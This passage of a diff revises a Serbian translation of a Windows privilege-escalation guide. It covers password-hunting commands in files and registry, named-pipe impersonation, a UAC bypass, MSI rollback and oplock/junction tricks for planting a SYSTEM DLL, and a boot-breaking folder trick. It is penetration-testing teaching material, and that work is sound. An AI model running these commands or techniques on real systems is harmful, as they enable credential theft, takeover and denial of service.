"HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1191,8 +1190,8 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Istorija pregledača -Proverite baze podataka (dbs) gde su sačuvane lozinke iz **Chrome or Firefox**.\ -Takođe proverite istoriju, obeleživače i favorite pregledača — možda su tamo sačuvane neke **lozinke**. +Treba da proverite baze podataka (dbs) gde su sačuvane lozinke iz **Chrome or Firefox**.\ +Takođe proverite istoriju, obeleživače i favorite pregledača jer je moguće da su neke **passwords are** sačuvane tamo. Alati za izvlačenje lozinki iz pregledača: @@ -1203,15 +1202,15 @@ Alati za izvlačenje lozinki iz pregledača: ### **COM DLL Overwriting** -**Component Object Model (COM)** je tehnologija ugrađena u Windows operativni sistem koja omogućava međusobnu komunikaciju između softverskih komponenti napisanih u različitim jezicima. Svaka COM komponenta je **identifikovana putem class ID (CLSID)** i svaka komponenta izlaže funkcionalnost preko jedne ili više interfejsa, identifikovanih putem interface ID (IIDs). +**Component Object Model (COM)** je tehnologija ugrađena u Windows operativni sistem koja omogućava **međukomunikaciju** između softverskih komponenti pisanih u različitim jezicima. Svaka COM komponenta je **identifikovana putem class ID (CLSID)** i svaka komponenta izlaže funkcionalnost preko jednog ili više interfejsa, identifikovanih putem interface IDs (IIDs). COM klase i interfejsi su definisani u registru pod **HKEY\CLASSES\ROOT\CLSID** i **HKEY\CLASSES\ROOT\Interface** respektivno. Ovaj registar se kreira spajanjem **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Unutar CLSID-ova u ovom registru možete naći child ključ **InProcServer32** koji sadrži **podrazumevanu vrednost** koja pokazuje na **DLL** i vrednost nazvanu **ThreadingModel** koja može biti **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) ili **Neutral** (Thread Neutral). +Unutar CLSID-ova u ovom registru možete pronaći podključ **InProcServer32** koji sadrži **default value** koji pokazuje na **DLL** i vrednost nazvanu **ThreadingModel** koja može biti **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) ili **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -U suštini, ako možete **prepisati bilo koji od DLL-ova** koji će biti izvršeni, možete **eskalirati privilegije** ako će taj DLL biti izvršen od strane drugog korisnika. +U suštini, ako možete **overwrite any of the DLLs** koje će se izvršiti, mogli biste **escalate privileges** ako taj DLL bude izvršen od strane drugog korisnika. Da biste saznali kako napadači koriste COM Hijacking kao mehanizam perzistencije, proverite: @@ -1220,21 +1219,21 @@ Da biste saznali kako napadači koriste COM Hijacking kao mehanizam perzistencij com-hijacking.md {{#endref}} -### **Generičko pretraživanje lozinki u fajlovima i registru** +### **Generic Password search in files and registry** -**Pretraži sadržaj fajlova** +Pretražite sadržaj fajlova ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Pretraži datoteku sa određenim imenom** +**Pronađi fajl sa određenim imenom** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Pretražite registar za nazive ključeva i lozinke** +**Pretražite registar za imena ključeva i lozinke** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K @@ -1243,11 +1242,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### Alati koji pretražuju passwords -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **je msf** plugin koji sam napravio da **automatski izvršava svaki metasploit POST module koji pretražuje credentials** unutar žrtve.\ +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **je msf** plugin. Napravio sam ovaj plugin da **automatski izvršava svaki metasploit POST module koji pretražuje credentials** unutar žrtve.\ [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatski pretražuje sve fajlove koji sadrže passwords pomenute na ovoj stranici.\ [**Lazagne**](https://github.com/AlessandroZ/LaZagne) je još jedan odličan alat za izvlačenje password iz sistema. -Alat [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) traži **sessions**, **usernames** i **passwords** nekoliko alata koji čuvaju ove podatke u čistom tekstu (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP) +Alat [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) pretražuje **sessions**, **usernames** i **passwords** nekoliko alata koji čuvaju ove podatke u clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1256,30 +1255,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Zamislite da **a process running as SYSTEM open a new process** (`OpenProcess()`) sa **full access**. Isti proces **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ -Ako imate **full access to the low privileged process**, možete dohvatiti **open handle to the privileged process created** pomoću `OpenProcess()` i **inject a shellcode**.\ -[Pročitajte ovaj primer za više informacija o tome **kako detektovati i iskoristiti ovu ranjivost**.](leaked-handle-exploitation.md)\ -[Pročitajte ovaj **drugi post za potpunije objašnjenje kako testirati i zloupotrebiti više open handlers procesa i thread-ova nasleđenih sa različitim nivoima dozvola (ne samo full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Zamislite da **proces koji se izvršava kao SYSTEM otvori novi proces** (`OpenProcess()`) sa **potpunim pristupom**. Isti proces **takođe kreira novi proces** (`CreateProcess()`) **sa niskim privilegijama ali nasleđujući sve otvorene handle-ove glavnog procesa**.\ +Ako zatim imate **potpun pristup tom procesu sa niskim privilegijama**, možete dohvatiti **otvoreni handle prema privilegovanom procesu kreiranom** pomoću `OpenProcess()` i **inject-ovati shellcode**.\ +[Pročitajte ovaj primer za više informacija o **kako detektovati i iskoristiti ovu ranjivost**.](leaked-handle-exploitation.md)\ +[Pročitajte ovaj **drugi post za potpunije objašnjenje kako testirati i zloupotrebiti više otvorenih handle-ova procesa i thread-ova nasleđenih sa različitim nivoima dozvola (ne samo full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Segmenti deljene memorije, poznati kao **pipes**, omogućavaju komunikaciju procesa i prenos podataka. +Segmenti deljene memorije, poznati kao **pipes**, omogućavaju komunikaciju između procesa i prenos podataka. -Windows pruža funkcionalnost zvanu **Named Pipes**, koja omogućava nepovezanim procesima da dele podatke, čak i preko različitih mreža. Ovo podseća na client/server arhitekturu, sa ulogama definisanim kao **named pipe server** i **named pipe client**. +Windows pruža funkcionalnost nazvanu **Named Pipes**, koja dozvoljava nepovezanim procesima da dele podatke, čak i preko različitih mreža. Ovo liči na client/server arhitekturu, sa ulogama definisanim kao **named pipe server** i **named pipe client**. -Kada podaci budu poslati kroz pipe od strane **client**, **server** koji je postavio pipe ima mogućnost da **preuzme identitet** **client-a**, pod uslovom da ima neophodna prava **SeImpersonate**. Pronalazak **privileged process** koji komunicira putem pipe-a koji možete imitirati daje priliku da **gain higher privileges** preuzimanjem identiteta tog procesa kada on interaguje sa pipe-om koji ste uspostavili. Za uputstva kako izvesti takav napad, korisni vodiči se nalaze [**ovde**](named-pipe-client-impersonation.md) i [**ovde**](#from-high-integrity-to-system). +Kada podaci budu poslati kroz pipe od strane **client-a**, **server** koji je postavio pipe ima mogućnost da **preuzme identitet** tog **client-a**, pod uslovom da ima potrebna prava **SeImpersonate**. Identifikovanje **privileged procesa** koji komunicira preko pipe-a koji možete imitirati pruža priliku da **steknete veće privilegije** preuzimanjem identiteta tog procesa kada on interaguje sa pipe-om koji ste vi uspostavili. Uputstva za izvođenje takvog napada mogu se naći [**ovde**](named-pipe-client-impersonation.md) i [**ovde**](#from-high-integrity-to-system). -Takođe, sledeći alat omogućava da **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **i ovaj alat omogućava listanje i pregled svih pipe-ova da biste našli privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Takođe, sledeći alat omogućava da **intercept-ujete named pipe komunikaciju alatkom kao što je burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **i ovaj alat omogućava da listate i vidite sve pipes kako biste pronašli privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Misc +## Ostalo -### File Extensions that could execute stuff in Windows +### Ekstenzije fajlova koje mogu izvršavati kod u Windows Pogledajte stranicu **[https://filesec.io/](https://filesec.io/)** -### **Monitoring Command Lines for passwords** +### **Praćenje komandne linije radi lozinki** -Kada dobijete shell kao korisnik, mogu postojati zakazani zadaci ili drugi procesi koji se izvršavaju i koji **pass credentials on the command line**. Skripta ispod beleži process command lines svakih dve sekunde i upoređuje trenutno stanje sa prethodnim, ispisujući sve razlike. +Kada dobijete shell kao korisnik, mogu postojati zakazani zadaci ili drugi procesi koji se izvršavaju i koji **prosleđuju kredencijale preko komandne linije**. Skripta ispod hvata komandne linije procesa na svake dve sekunde i upoređuje trenutno stanje sa prethodnim, ispisujući sve razlike. ```bash while($true) { @@ -1293,9 +1292,9 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2 ## Od korisnika sa niskim privilegijama do NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Ako imate pristup grafičkom interfejsu (preko console ili RDP) i UAC je omogućen, u nekim verzijama Microsoft Windows moguće je pokrenuti terminal ili bilo koji drugi proces kao "NT\AUTHORITY SYSTEM" iz naloga koji nije privilegovan. +Ako imate pristup grafičkom interfejsu (preko konzole ili RDP) i UAC je omogućen, u nekim verzijama Microsoft Windows moguće je pokrenuti terminal ili bilo koji drugi process kao "NT\AUTHORITY SYSTEM" iz naloga bez privilegija. -Ovo omogućava eskalaciju privilegija i zaobilaženje UAC-a istovremeno koristeći istu ranjivost. Dodatno, nema potrebe za instalacijom bilo čega, a binarni fajl koji se koristi tokom procesa je potpisan i izdat od strane Microsofta. +Ovo omogućava eskalaciju privilegija i istovremeno zaobilaženje UAC-a pomoću iste ranjivosti. Dodatno, nije potrebno ništa instalirati, a binary koji se koristi tokom procesa potpisan je i izdat od strane Microsoft-a. Neki od pogođenih sistema su sledeći: ``` @@ -1341,134 +1340,134 @@ You have all the necessary files and information in the following GitHub reposit https://github.com/jas502n/CVE-2019-1388 -## Od Administrator Medium do High Integrity Level / UAC Bypass +## From Administrator Medium to High Integrity Level / UAC Bypass -Pročitajte ovo da **saznate o Integrity Levels**: +Pročitajte ovo da biste naučili o Integrity Levels: {{#ref}} integrity-levels.md {{#endref}} -Zatim **pročitajte ovo da naučite o UAC i UAC bypasses:** +Zatim pročitajte ovo da biste naučili o UAC i UAC bypass-ima: {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## Od Arbitrary Folder Delete/Move/Rename do SYSTEM EoP +## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -Tehnika opisana u ovom [**blog postu**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) sa exploit kodom [**dostupnim ovde**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +Tehnika opisana [**u ovom blog postu**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) sa exploit kodom [**dostupnim ovde**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Napad uglavnom podrazumeva zloupotrebu Windows Installer-ove rollback funkcije da zameni legitimne fajlove malicioznim tokom procesa deinstalacije. Za ovo napadač treba da napravi **malicious MSI installer** koji će biti korišćen za zauzimanje `C:\Config.Msi` foldera, koji će kasnije Windows Installer koristiti za čuvanje rollback fajlova tokom deinstalacije drugih MSI paketa, gde bi rollback fajlovi bili izmenjeni da sadrže maliciozni payload. +Napad se u suštini sastoji od zloupotrebe rollback funkcije Windows Installer-a da zameni legitimne fajlove malicioznim tokom procesa deinstalacije. Za ovo napadač mora da kreira **malicious MSI installer** koji će biti iskorišćen za hijack-ovanje `C:\Config.Msi` foldera, koji će kasnije Windows Installer koristiti za čuvanje rollback fajlova tokom deinstalacije drugih MSI paketa gde bi rollback fajlovi bili izmenjeni da sadrže maliciozni payload. -Sažeta tehnika je sledeća: +Sumirana tehnika je sledeća: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** - Step 1: Install the MSI -- Kreirajte `.msi` koji instalira bezopasan fajl (npr. `dummy.txt`) u zapisivi folder (`TARGETDIR`). -- Obeležite installer kao **"UAC Compliant"**, tako da ga **ne-admin korisnik** može pokrenuti. -- Držite otvoren **handle** ka fajlu nakon instalacije. +- Kreirajte `.msi` koji instalira bezopasan fajl (npr. `dummy.txt`) u direktorijum koji je upisiv (`TARGETDIR`). +- Obeležite installer kao **"UAC Compliant"**, tako da ga **non-admin user** može pokrenuti. +- Zadržite **handle** otvoren za fajl nakon instalacije. - Step 2: Begin Uninstall - Deinstalirajte isti `.msi`. -- Proces deinstalacije počinje premještanje fajlova u `C:\Config.Msi` i preimenovanje u `.rbf` fajlove (rollback bekapi). -- **Poll the open file handle** koristeći `GetFinalPathNameByHandle` da detektujete kada fajl postane `C:\Config.Msi\.rbf`. +- Proces deinstalacije počinje da premješta fajlove u `C:\Config.Msi` i preimenuje ih u `.rbf` fajlove (rollback backup-ove). +- **Poll the open file handle** koristeći `GetFinalPathNameByHandle` da otkrijete kada fajl postane `C:\Config.Msi\.rbf`. - Step 3: Custom Syncing - `.msi` uključuje **custom uninstall action (`SyncOnRbfWritten`)** koja: -- Signalizira kada je `.rbf` napisan. -- Zatim **čekа** na drugi event pre nego što nastavi deinstalaciju. +- Signalizira kada je `.rbf` zapisan. +- Zatim **čeka** na drugi event pre nego što nastavi deinstalaciju. - Step 4: Block Deletion of `.rbf` -- Kada je signal primljen, **otvorite `.rbf` fajl** bez `FILE_SHARE_DELETE` — ovo **sprečava njegovo brisanje**. -- Zatim **signalizirajte nazad** tako da deinstalacija može da se završi. -- Windows Installer ne uspeva da obriše `.rbf`, i pošto ne može da obriše sav sadržaj, **`C:\Config.Msi` se ne uklanja**. +- Kada je signalirano, **otvorite `.rbf` fajl** bez `FILE_SHARE_DELETE` — ovo **sprečava njegovo brisanje**. +- Zatim **signalizirajte nazad** kako bi deinstalacija mogla da se završi. +- Windows Installer ne uspeva da obriše `.rbf`, i pošto ne može da obriše sav sadržaj, **`C:\Config.Msi` nije uklonjen**. - Step 5: Manually Delete `.rbf` - Vi (napadač) ručno obrišete `.rbf` fajl. - Sada je **`C:\Config.Msi` prazan**, spreman za hijack. -> U ovom trenutku, **trigger the SYSTEM-level arbitrary folder delete vulnerability** da obrišete `C:\Config.Msi`. +> U ovom trenutku, **pokrenite ranjivost za proizvoljno brisanje foldera na nivou SYSTEM** da obrišete `C:\Config.Msi`. 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** - Step 6: Recreate `C:\Config.Msi` with Weak ACLs -- Ponovo kreirajte `C:\Config.Msi` folder sami. -- Podesite **slabe DACL-ove** (npr. Everyone:F), i **držite otvoren handle** sa `WRITE_DAC`. +- Ponovo kreirajte `C:\Config.Msi` folder. +- Postavite **slabe DACLs** (npr. Everyone:F), i **zadržite otvoren handle** sa `WRITE_DAC`. - Step 7: Run Another Install - Instalirajte `.msi` ponovo, sa: -- `TARGETDIR`: zapisiva lokacija. -- `ERROROUT`: varijabla koja izaziva forcisani neuspeh. -- Ova instalacija će biti korišćena da ponovo pokrene **rollback**, koji čita `.rbs` i `.rbf`. +- `TARGETDIR`: upisiva lokacija. +- `ERROROUT`: promenljiva koja izaziva namerni failure. +- Ova instalacija će biti iskorišćena da ponovo pokrene **rollback**, koji čita `.rbs` i `.rbf`. - Step 8: Monitor for `.rbs` - Koristite `ReadDirectoryChangesW` da nadgledate `C:\Config.Msi` dok se ne pojavi novi `.rbs`. -- Uhvatite njegovo ime fajla. +- Zabeležite njegovo ime fajla. - Step 9: Sync Before Rollback - `.msi` sadrži **custom install action (`SyncBeforeRollback`)** koja: - Signalizira event kada je `.rbs` kreiran. -- Zatim **čekа** pre nego što nastavi. +- Zatim **čeka** pre nego što nastavi. - Step 10: Reapply Weak ACL -- Nakon primanja ` .rbs created` signala: +- Nakon što primite event `*.rbs created`: - Windows Installer **ponovo primenjuje jake ACL-ove** na `C:\Config.Msi`. - Ali pošto i dalje imate handle sa `WRITE_DAC`, možete ponovo **primeniti slabe ACL-ove**. -> ACL-ovi se **primenjuju samo prilikom otvaranja handle-a**, tako da i dalje možete pisati u folder. +> ACLs se **primenjuju samo pri otvaranju handle-a**, tako da i dalje možete pisati u folder. - Step 11: Drop Fake `.rbs` and `.rbf` -- Overwriteujte `.rbs` fajl lažnim rollback skriptom koji kaže Windows-u da: -- Restore-uje vaš `.rbf` fajl (maliciozni DLL) u **privilegovan lokaciju** (npr. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Postavite vaš lažni `.rbf` koji sadrži **maliciozni SYSTEM-level payload DLL**. +- Overwritujte `.rbs` fajl lažnim rollback script-om koji govori Windows-u da: +- Restore-uje vaš `.rbf` fajl (maliciozni DLL) u **privilegovanoj lokaciji** (npr. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Postavi vaš lažni `.rbf` koji sadrži **maliciozni SYSTEM-level payload DLL**. - Step 12: Trigger the Rollback -- Signalizirajte sync event da installer nastavi. -- A **type 19 custom action (`ErrorOut`)** je konfigurisan da **namerno prekine instalaciju** u poznatoj tački. -- Ovo izaziva početak **rollback-a**. +- Signalizirajte sync event tako da installer nastavi. +- A **type 19 custom action (`ErrorOut`)** je konfigurisana da **namerno prekine instalaciju** u poznatoj tački. +- Ovo uzrokuje da **rollback počne**. - Step 13: SYSTEM Installs Your DLL - Windows Installer: - Čita vaš maliciozni `.rbs`. -- Kopira vaš `.rbf` DLL u ciljanu lokaciju. -- Sada imate **maliciozni DLL na putanji koja se učitava od strane SYSTEM-a**. +- Kopira vaš `.rbf` DLL na ciljnu lokaciju. +- Sada imate svoj **maliciozni DLL u putanji koju učitava SYSTEM**. - Final Step: Execute SYSTEM Code - Pokrenite pouzdan **auto-elevated binary** (npr. `osk.exe`) koji učitava DLL koji ste hijack-ovali. -- **Boom**: Vaš kod se izvršava **kao SYSTEM**. +- **Boom**: vaš kod se izvršava **kao SYSTEM**. -### Od Arbitrary File Delete/Move/Rename do SYSTEM EoP +### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -Glavna MSI rollback tehnika (prethodna) pretpostavlja da možete obrisati **celi folder** (npr. `C:\Config.Msi`). Ali šta ako vaša ranjivost dozvoljava samo **arbitrary file deletion**? +Glavna MSI rollback tehnika (prethodna) pretpostavlja da možete obrisati **ceo folder** (npr. `C:\Config.Msi`). Ali šta ako vaša ranjivost dozvoljava samo **proizvoljno brisanje fajla**? -Možete iskoristiti **NTFS internals**: svaki folder ima skriveni alternate data stream nazvan: +Možete iskoristiti **NTFS interne osobine**: svaki folder ima skriveni alternate data stream nazvan: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -Ovaj stream čuva **indeksne metapodatke** mape. +Ovaj stream čuva **index metadata** fascikle. -Dakle, ako **obrišete `::$INDEX_ALLOCATION` stream** mape, NTFS **uklanja celu mapu** iz datotečnog sistema. +Dakle, ako **obrišete `::$INDEX_ALLOCATION` stream** fascikle, NTFS **uklanja celu fasciklu** iz fajl sistema. -Možete to uraditi koristeći standardne API-je za brisanje fajlova, kao što su: +Možete to uraditi koristeći standardne file deletion APIs, kao što su: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Iako pozivate *file* delete API, on zapravo **briše sam folder**. +> Iako pozivate *file* delete API, ono **briše samu fasciklu**. -### From Folder Contents Delete to SYSTEM EoP -Šta ako vaš primitiv ne dozvoljava brisanje proizvoljnih fajlova/foldera, ali on **dozvoljava brisanje *sadržaja* foldera pod kontrolom napadača**? +### Od brisanja sadržaja foldera do SYSTEM EoP +Šta ako vaš primitive ne dozvoljava brisanje proizvoljnih fajlova/foldera, ali ono **dozvoljava brisanje *sadržaja* foldera koji kontroliše napadač**? -1. Korak 1: Napravite mamac direktorijum i fajl -- Create: `C:\temp\folder1` -- Inside it: `C:\temp\folder1\file1.txt` +1. Korak 1: Postavite mamac folder i fajl +- Kreirajte: `C:\temp\folder1` +- Unutar njega: `C:\temp\folder1\file1.txt` 2. Korak 2: Postavite **oplock** na `file1.txt` -- Oplock **pauzira izvršavanje** kada privilegovani proces pokuša da obriše `file1.txt`. +- **oplock** **pauzira izvršavanje** kada privilegovani proces pokuša da obriše `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); @@ -1476,13 +1475,13 @@ WaitForDeleteToTriggerOplock(); ``` 3. Korak 3: Pokrenite SYSTEM proces (npr. `SilentCleanup`) - Ovaj proces skenira foldere (npr. `%TEMP%`) i pokušava da obriše njihov sadržaj. -- Kada stigne do `file1.txt`, **oplock triggers** i prepušta kontrolu vašem callback-u. +- Kada dođe do `file1.txt`, **oplock se aktivira** i predaje kontrolu vašem callback-u. 4. Korak 4: Unutar oplock callback-a – preusmerite brisanje - Opcija A: Premestite `file1.txt` na drugo mesto - Ovo prazni `folder1` bez prekidanja oplock-a. -- Nemojte direktno brisati `file1.txt` — to bi prerano oslobodilo oplock. +- Ne brišite `file1.txt` direktno — to bi prerano oslobodilo oplock. - Opcija B: Pretvorite `folder1` u **junction**: ```bash @@ -1494,68 +1493,68 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Ovo cilja NTFS internal stream koji čuva metapodatke foldera — njegovo brisanje briše i folder. +> Ovo cilja NTFS internal stream koji čuva folder metapodatke — njegovo brisanje briše folder. -5. Korak 5: Oslobađanje oplocka -- SYSTEM proces se nastavlja i pokušava da obriše `file1.txt`. -- Ali sada, zbog junction + symlink, zapravo briše: +5. Korak 5: Otpuštanje oplock-a +- Proces SYSTEM nastavlja i pokušava da obriše `file1.txt`. +- Ali sada, zbog junction + symlink, on zapravo briše: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **Rezultat**: `C:\Config.Msi` briše SYSTEM. -### Od kreiranja proizvoljnog foldera do trajnog DoS +### Od kreiranja proizvoljnog foldera do trajnog DoS-a -Iskoristite primitiv koji vam omogućava da **kreirate proizvoljan folder kao SYSTEM/admin** — čak i ako **ne možete da pišete fajlove** ili **da postavite slabe dozvole**. +Iskoristite mehanizam koji vam omogućava da **kreirate proizvoljan folder kao SYSTEM/admin** — čak i ako **ne možete pisati fajlove** ili **postaviti slabe permisije**. Kreirajte **folder** (ne fajl) sa imenom **kritičnog Windows drivera**, npr.: ``` C:\Windows\System32\cng.sys ``` - Ovaj put obično odgovara kernel-mode drajveru `cng.sys`. -- Ako ga **unapred kreirate kao mapu**, Windows ne uspe da učita stvarni drajver pri boot-u. -- Zatim, Windows pokuša da učita `cng.sys` tokom boot-a. -- Vidi mapu, **ne uspeva da otkrije stvarni drajver**, i **sruši se ili zaustavi pokretanje**. -- Ne postoji **fallback**, i **nema oporavka** bez spoljašnje intervencije (npr. popravka boot-a ili pristupa disku). +- Ako ga **unapred kreirate kao folder**, Windows ne uspeva da učita stvarni drajver pri pokretanju sistema. +- Zatim, Windows pokušava da učita `cng.sys` pri pokretanju sistema. +- Vidi folder, **ne uspeva da razreši stvarni drajver**, i **sistem se sruši ili zaustavi pokretanje**. +- Ne postoji **rezervni mehanizam**, i **nema oporavka** bez spoljnog uplitanja (npr. popravka pokretanja ili pristupa disku). -## **Iz High Integrity do System** +## **Od procesa visokog integriteta do SYSTEM-a** ### **Novi servis** -Ako već radite u procesu sa High Integrity, **put do SYSTEM** može biti jednostavan samo **kreiranjem i izvršavanjem novog servisa**: +Ako već imate proces visokog integriteta, **put do SYSTEM-a** može biti jednostavan samo **kreiranjem i pokretanjem novog servisa**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Prilikom kreiranja service binarnog fajla postarajte se da je to validan service ili da binarni fajl izvrši neophodne akcije dovoljno brzo, jer će biti ubijen nakon 20s ako nije validan service. +> Kada kreirate service binary, uverite se da je validan service ili da binary izvršava neophodne radnje dovoljno brzo, jer će biti ubijen posle 20s ako nije validan service. ### AlwaysInstallElevated -Iz High Integrity procesa možete pokušati da **omogućite AlwaysInstallElevated registry unose** i **instalirate** reverse shell koristeći _**.msi**_ wrapper.\ -[Više informacija o uključenim registry ključevima i kako instalirati _.msi_ paket ovde.](#alwaysinstallelevated) +Iz High Integrity procesa možete pokušati da **enable the AlwaysInstallElevated registry entries** i **install** reverse shell koristeći _**.msi**_ wrapper.\ +[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**Možete** [**pronaći kod ovde**](seimpersonate-from-high-to-system.md)**.** +**Možete** [**find the code here**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -Ako imate te token privilegije (verovatno ćete ih naći u već postojećem High Integrity procesu), bićete u mogućnosti da **otvorite gotovo bilo koji process** (ne protected processes) sa SeDebug privilegijom, **kopirate token** procesa i kreirate **arbitrary process sa tim tokenom**.\ -Korišćenjem ove tehnike se obično **izabere neki process koji radi kao SYSTEM sa svim token privilegijama** (_da, možete naći SYSTEM procese bez svih token privilegija_).\ -**Možete pronaći** [**primer koda koji izvodi predloženu tehniku ovde**](sedebug-+-seimpersonate-copy-token.md)**.** +Ako imate te token privilegije (verovatno ćete ih naći u već postojećem High Integrity procesu), bićete u mogućnosti da **open almost any process** (ne zaštićene procese) sa SeDebug privilegijom, **copy the token** procesa i kreirate **arbitrary process with that token**.\ +Obično se za ovu tehniku **izabere bilo koji proces koji radi kao SYSTEM sa svim token privilegijama** (_da, možete naći SYSTEM procese bez svih token privilegija_).\ +**Možete pronaći** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Ovu tehniku koristi meterpreter za eskalaciju u `getsystem`. Tehnika se sastoji u tome da se **kreira pipe i zatim kreira/zlorabi service da upiše u taj pipe**. Zatim, **server** koji je kreirao pipe koristeći **`SeImpersonate`** privilegiju moći će da **impersonira token** pipe klijenta (servisa) i tako dobije SYSTEM privilegije.\ -Ako želite da [**saznate više o name pipes trebate pročitati ovo**](#named-pipe-client-impersonation).\ -Ako želite primer [**kako ići iz high integrity do System koristeći name pipes pročitajte ovo**](from-high-integrity-to-system-with-name-pipes.md). +Ovu tehniku koristi meterpreter za eskalaciju u `getsystem`. Tehnika se sastoji u **kreiranju pipe-a i potom kreiranju/zloupotrebi service-a da piše u taj pipe**. Zatim, **server** koji je kreirao pipe koristeći **`SeImpersonate`** privilegiju će moći da **impersonirati token** pipe klijenta (servisa) i tako dobije SYSTEM privilegije.\ +Ako želite da [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ +Ako želite da pročitate primer [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Ako uspevate da **hijack-ujete dll** koji se **učitava** od strane **processa** koji radi kao **SYSTEM**, moći ćete da izvršite arbitrary kod sa tim privilegijama. Dakle, Dll Hijacking je takođe koristan za ovu vrstu eskalacije privilegija, i, štaviše, mnogo je **lakše postići iz high integrity procesa** jer će imati **write permissions** na foldere koji se koriste za učitavanje dll-ova.\ -**Možete** [**saznati više o Dll hijacking ovde**](dll-hijacking/index.html)**.** +Ako uspete da **hijack a dll** koji se **loaded** od strane **process** koji se izvršava kao **SYSTEM**, bićete u mogućnosti da izvršite proizvoljan kod sa tim privilegijama. Dakle, Dll Hijacking je takođe koristan za ovu vrstu eskalacije privilegija i, štaviše, znatno je **lakše postići iz high integrity procesa** jer će imati **write permissions** na folderima koji se koriste za učitavanje dll-ova.\ +**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1565,7 +1564,7 @@ Ako uspevate da **hijack-ujete dll** koji se **učitava** od strane **processa** ### From LOCAL SERVICE or NETWORK SERVICE to full privs -**Pogledajte:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) ## More help @@ -1573,49 +1572,49 @@ Ako uspevate da **hijack-ujete dll** koji se **učitava** od strane **processa** ## Useful tools -**Najbolji alat za traženje Windows local privilege escalation vektora:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Najbolji alat za pronalaženje Windows lokalnih vektora eskalacije privilegija:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Proverava za misconfigurations i osetljive fajlove (**[**proverite ovde**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Proverava neke moguće misconfigurations i prikuplja info (**[**proverite 